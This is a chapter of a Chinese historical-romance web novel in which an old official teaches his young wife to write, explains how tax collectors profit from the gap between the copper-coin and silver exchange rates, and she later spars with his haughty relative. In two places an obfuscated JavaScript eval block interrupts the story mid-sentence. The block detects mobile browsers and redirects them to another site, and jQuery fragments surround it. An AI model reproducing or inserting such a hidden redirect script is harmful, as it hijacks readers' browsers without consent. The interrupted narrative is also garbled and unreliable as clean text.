一树梨花压海棠,除此以外呢?除了他确实喜欢她,除了她有几分像明茹,除了他循规蹈矩一辈子如今终于做了件惊世骇俗的事,除了人们可以想到的一个老头爱上少女的庸俗又肤浅的种种原因,行鸿心底还有一个小小的、邪恶的念头,在生根发芽。
他没有子嗣,没有至亲,比较亲厚的却是母族那头的亲戚,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17369970|199748||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
因而并无后顾之忧。他想托举仪贞,看看她能用他的这份家业,搅弄出何等风云。康氏一族里那些纨绔子弟坏了事,碍着血缘情分,他不得不去帮他们,可仪贞跟他们有几分情?他还想看看仪贞如何把他们一个个地顶回去,如何一个个地把他们料理干净了,让他们眼睁睁看着这份馋了几十年的偌大家业,落到一个村女手里!光是想想,便觉得痛快啊!若是明茹和亭哥儿知道了,也会开心罢?
世间就是有这样的人,跟同窗好友反倒情谊深厚,最厌恶的却是那些所谓血缘至亲。
那张纸笺已写了泰半。
仪贞抬起头,把纸推过来,冲他飞了飞眉毛:“如何?”
行鸿扫了一眼,果真是越写越好,她确实很聪明。他点头道:“你外公教你握笔就教得很好,你进步也很快。再练一练,你快赶上我了。”
“那你再把你的名字也教给我,我要知道你的名字怎么写。”仪贞得了好处,便想借此举讨好讨好他。
行鸿笑了笑,在纸上又写了“康行鸿”三个字,一个字一个字地指着念给她听。仪贞点了下头,又伏在案上摹写了。
他温柔地望着她,手往案上的文书卷宗上一按,正要继续办公,脑海里忽然又起了一个念头——他打算再教一教仪贞。
“仪贞,你知道外头如今一两银子兑多少钱么?”
仪贞摹着字,头也不抬:“一千三百文嘛,我爹跟我讲的。”
“哦,朝廷定的是一两银子兑两千文。”
“哎呀,这是常有的事。我记得几年前还有不到一千二百文的时候呢,那两年爹每次交税回来都发愁,真个亏死了。”
“你知道为什么会这样么?”
仪贞撇了撇嘴,继续写字:“这我哪知道。”
行鸿的手掌抚过面前的文书:“仪贞,这就是我目今办的差使。”
仪贞这才慢慢抬起头,不解地望他:“什么意思?”
“你想听么?”
“我要是知道了,赶明儿不会被你咔嚓了罢?”她做了个抹脖子的动作。
行鸿失笑:“我怎么舍得?放心罢,这种事再怎么牵连,也不会牵连到你头上的。”
“那我来了。”仪贞拖着椅子坐了过来。
行鸿伸手取过案头的几枚铜钱,一枚一枚摆在仪贞面前:“这是承元四年制钱,这是十四年的,这是十六年的,这是十八年的,这是二十年的,这是……”
仪贞一枚一枚看过去,最终望向他:“这是今年的,承元二十二年。”
“你瞧这些铜钱有什么不同么?”他补充道,“你可以摸一摸。”
仪贞又仔细去看、去摸,还放在手里掂了掂,末了抬起头:“除了新旧,有几年的好像重一点儿。今年的颜色亮些。”
“是了。今年朝廷又新开了几个铜矿,制钱也用了好料子,铜的比例比以往多了。”
仪贞笑起来:“那不是好事么。”她摸起那枚承元二十二年的铜钱,透着烛光看,“确实成色好看许多啊,真漂亮。”
行鸿看着她的侧脸,绷着声音:“所以如今外头很有些人低价敛了这些铜钱,拿去熔了做铜器,反手卖出去就是十几二十倍的利。反倒老百姓手上没什么新钱了,还要拿更多的旧钱去买那些铜器。”
仪贞的笑慢慢僵住,她转过头来,声气有点急:“怎么能这样!我们手上本来就没几个钱!”
行鸿继续道:“这还没完呢。老百姓手上钱少了,钱就越来越贵,去年一两银子还能兑一千四百文,今年可不就越兑越少了么?钱贵银贱,百姓越来越穷,倒是那些贪腐的,一个一个愈发地摆起阔了!”他说到此处,把面前的书纸往前一推,人也往后靠向大红金钱蟒纹的靠背,嗬嗬地喘气。
*注意:本章节中,田税、人头税交多少钱,跟具体数字有关的,都是我瞎诌的。各个朝代税赋是不一样的,这本架空历史,所以我瞎说了。但是缴税、贪污的道理是真实存在的,我没有瞎说。
5.姓应的不吝赐教
仪贞头一遭看他这般横眉竖眼地发怒,不由怔然,心底慢慢地咂摸着他的话,又很有些不解。
行鸿还在气头上,冷笑连连:“夺泥燕口,削铁针头,刮金佛面细搜求啊!亏这些人想得出来!做得出来!”
这句话仪贞更是听不懂了。她歪着头看他:“行鸿,你这里头的话好像有好几层意思,怎么说得这样不明白?”
行鸿这才想起来,与她谈这些是要教她的,他自家反倒先动起怒了。行鸿闷了口茶,把火气压下去,话头又重新转回去:“哪没说明白?”
“钱贵银贱……还有怎么跟贪腐又扯上干系了?”
行鸿解释道:“这里头其实很简单,我一说你就明白了。朝廷定的一两银子兑二千文,可你去钱庄上换,一千三百文就能兑一两银子,同样的银子兑得铜钱少了,可不是银子贱了,铜钱贵了么?”
仪贞笑起来:“这话明白。”
行鸿继续说:“再说贪腐,这便又说到税赋上头了。我且问你,像你们家这样的人家,每年要交哪些税呢?”
仪贞脱口而出:“田税和人头税嘛。”
行鸿笑道:“小丫头,你知道得不少。”
“像我这样出身的女孩,这个年纪得知道当家了。”
“是了。”行鸿望向案上的文书,“田税和人头税。现拿你家作比:你家三口人,一人算四百文,三人的人头税就是一千二百文。你们家就算二十亩中等水田,每亩本色两斗,折色银就是二百文,二十亩就是四千文。这样算来,岳丈大人一年要交五千二百文的税,兑成银子,也就是要交——”
仪贞抿着嘴儿笑:“康大人,你错了。”
“嗯?”
“五千二百文是明面上的税,哪有那么简单?爹去缴税的时候,还要补火耗钱,额外还有各种摊派什么的,凑个整儿,算六千文,三两银子好了。”
行鸿赞道:“到底是当家太太。”他继续道,“那么你们徐家,一年要出三两税银。但是百姓手头未必都有银子的,许多时候仍是缴钱。”
“这话是的,爹每次去都要背个大麻袋儿装钱呢。”
行鸿道:“收税的官员收了岳丈大人的六千文钱,第二天,带着六千文去钱庄上兑银子。现知一千三百文兑一两银,三两银就是三千九百文,太太,对么?”
仪贞如雷击灵台,整个人轰然怔住,她喃喃:“不,不对……还剩两千一百文呢……”
“这就是贪腐了。”
仪贞忙抬眼看他:“可是,可是,他们怎好这样?怎好悄悄去钱庄兑银子?”
行鸿望着他:“怎么不好?哪家钱庄立规矩了,不许吏员去的么?”
仪贞愣愣的,手搭在案上,半天没动。
未久,她把这些铜钱拢到面前,一枚一枚地看,一枚一枚地摸。新旧不一,轻重不一,成色不一。
“所以,”她低声道,“我们缴上去的税钱,他们拿到外头一倒手,光一户人家就能吃二千多文!”
行鸿没有回答,只是看着她。
仪贞又低下头,手指摩挲着那枚承元二十二年制钱,喃喃道:“都已经这么穷了,他们还要刮出油水来……”
行鸿抚着下巴,他其实还想跟仪贞说:等你坐到他们的位置上了,很难不想去刮别人身上的油水。
但他到底没说,因他自问也不全然是个两袖清风的人。他从小生在那样的门户,未必就没有被赃银供养过,未必就没有得过贪腐的好处。这世上全然清廉、全然干净的官,还有没有?有,但只怕做不到京都来。
“行鸿,”仪贞忽然开口,“那你办这样的差,是不是很危险?你是不是会得罪很多人?”
行鸿只是笑道:“做官嘛,哪有不得罪人的。”
仪贞拧眉看他:“你,哎……”
行鸿却微微笑起来。她在心疼他么?是了,如今他是她的倚仗,她自然会担忧他、关心他。可这不是感情,这是她担忧自己的前程。行鸿又有些灰心。
“放心,这差使是陛下交给我的,就算得罪了人,也不打紧。”
“看来陛下很倚重你。”
行鸿忽而哈哈笑起来:“不,陛下是怜我老无力。”
仪贞又不懂了,却把细眉一拧:“说了不许提那个字。”
行鸿拍了拍她的手,笑道:“亭哥儿从前给陛下做过伴读,陛下待他蛮亲近的。可惜我这个做老子的不中用,靠着亡子的余荫走到如今,陛下怜我年迈,行将致仕,才说把江南的农政、钱政丢给我办。他知道这两年江南这儿是有些问题的,要我致仕前把这钦命差使排排场场地办了,回京他也好给我加衔,到时候我就算回密州养老,也风光些了。这是圣上厚德。”
“你这么说,陛下还蛮有人情味儿的。”
“人情文章么,到哪都是一样。”行鸿说,“好了,夜深了,该就寝了,我一会儿也回去了。明儿你就在屋里练字,回来我教你新的,好么?”
仪贞点点头,把练字的纸折好,压在行鸿的玉螭镇纸下,方款款散去。行鸿垂眸望了会儿这张练字纸,微微一笑,旋即笔沾浓墨,写道:“砚开初试墨痕新,不羡簪花羡笔真。莫道蓬门无凤藻,寸心犹可斩荆榛。”
写罢,行鸿搁笔,又端详了一回。末两句他自觉有些露了,却又觉得正该如此。她是诚心要学的,她自家都不怕人说闲话,他写个诗还要藏着掖着么?
他将诗笺一同压在镇纸下,吹灭了灯,才往寝居去了。
翌日行鸿照旧去衙门里,仪贞在自己院里学写字。写累了,她又想着荡秋千去,换了身清爽利落的衣裳,甫来到正院,便见应菩寿坐在里头,跟几个生面孔的男人正在说话。
应菩寿似也瞧见了她,脸一侧,淡淡瞥她一眼,而后又敛了目光。
仪贞正要问身旁的丫鬟,忽而,正堂的门被应菩寿身边的两个小厮轰地关上了。仪贞立时气得瞪起眼来,尚未发作,一个侍茶的丫鬟走了出来,笑着同仪贞道:“二爷正同几位旧友闲谈,怕太太是来荡秋千的,扰了客,所以把门关了。二爷说了,太太要玩,只管轻声些便是了,别跟昨天那样,在客人面前丢脸,就不好看了。”
仪贞的脸胀得绯红,一时却又想不出什么辩驳的话来,只好恨恨地盯了那丫鬟一眼,扭身就回自己院里去。她一口气回了屋,歪在美人靠上,眼睛直直地望着那置在洋漆小几上的瓜子黄杨盆景,心中已将应菩寿骂了千百遍。
云蝶走来问仪贞:“前头厨房在做饭,宋太太点名要了这几样菜——”
仪贞直起身子:“我跟他们夫妻一块儿吃?”
云蝶一愣,旋即笑道:“太太不想的话,我们就另开火。”
仪贞心想,若是另开火,倒显得自己故意躲他们,气势上就先输了,可瞧见应菩寿那张脸,她又实实在在地不痛快。
她道:“上次听老爷说那个什么广乐楼的席面做得好,你们收拾下,再套个车,我们一块出去吃。”
云蝶答应了一声,方掩门退下了。
仪贞坐在马车里,云苓和云蝶对坐一旁,三人和乐融融说着话。
仪贞问:“打听了么,那他们准备住多久?”
云苓道:“至多半个月,应二
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375890|199748||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
爷虽是告假来的,但也不能把天杭正经的差遣给荒了。”
仪贞撇了撇嘴:“他那么能,怎么不当个京官,还不是外放出来了。”
云苓笑道:“二爷才入仕,这几年进士就是先从地方官做起来呢。”
仪贞瞥她一眼:“我知道,我就是看不惯他那副清高傲慢的样儿。”
云苓和云蝶俱掩唇笑起来。
说话间马车拐了个弯儿,却突然停下来。
仪贞挑起车帘,只见前头并排好几匹马,慢搭搭走着,马上坐的赫然是应菩寿和他的朋友。
赶车的灯儿笑道:“二爷急么?我们太太也要出门哩。”
应菩寿转过身,见青帷马车侧旁探出徐氏那张脸,不禁微微眯了眼。他同身旁好友道:“你们先走,我与嫂嫂讲几句话。”那些人听他这么说,一径甩鞭去了。
这厢应菩寿勒转马头,缓缓骑行而来。他停在马车侧旁,居高临下地望着车窗后仪贞愠怒的脸。
“康太太是要出门么?”
仪贞道:“你管我。”
“干什么去?”
仪贞拧眉望他:“要你管。”
应菩寿攥着马鞭,目向前方空旷的巷道,平声道:“你既下定决心要做康太太,便得守好康家规矩。什么地方该去,什么地方不该去;什么人该见,什么人不该见;什么话该说,什么话不该说。你需得留心仔细,任着性子胡来只会在外人跟前丢了兄长的脸面。”
仪贞已然气了个倒仰。
应菩寿却还在说:“这些时日你要出门,可喊上玉芬作伴。兄长如今是钦差,办的案子万分紧要,外头若有人找上你,要你做什么、说什么抑或是递送个什么,万莫轻易回复,但也别全都拒了,先回来问兄长。兄长若一时不在,你就遣云苓过来问玉芬和我。”
仪贞攥紧了车窗边沿,指节近乎泛白。她望着应菩寿高高在上的身影,那灰黑的影子笼罩下来,挡住她能见到的几乎所有天光。仪贞心底的火苗正一窜一窜地往上燎,可她偏偏发作不出来。应菩寿的话,并非全无道理。而况昨日她已经把人得罪透了,今儿要是再闹一场,行鸿夹在中间,为难的还是他。
故此,仪贞深吸一口气,扬起一个合宜得体的笑:“我明白了,应大人还有什么指教?”
应菩寿一时怔愣,眯着眼睛审视仪贞。
仪贞也仰着头看他,保持着笑意,并不吭声。
应菩寿错开眸子,抿唇道:“出门记得带幕离。”
“我带了。”
“要当大家闺秀,尽量还是少出门。”
“哦。”
“听说你在学字,有不懂的可以问玉芬。”
“行。”
“赶紧把待人接物的规矩也一并学了。”
“回来我就去请人来教。”
应菩寿心里不得劲起来,仿佛他邦邦硬的拳头砸在棉花上,连个响动也没有。他觉得自己这样怪没趣儿的,若非为着兄长,他岂会给这村女提点这么多?她也配?如此想着,应菩寿也懒得理仪贞了,双手勒住缰绳,掉转马头。
仪贞看他又吃了一瘪,心里不觉畅快。见他摆出这副模样,一时又觉得厌烦。仪贞把半个身子都探出去了,伸出手,掌心对准刚转过来的健硕饱满的马屁股,重重拍了一下,她扬声道:“快走罢!走!”
那马受了一惊,颠着蹦着就往前头跑去了,把应菩寿颠得东倒西歪的,好不容易才稳住马。他气得脸色涨红,恨恨地转过头,只见不远处探出半个身子的仪贞,正笑意盈盈地望过来,声音清脆:“应大人,多谢赐教了啊!”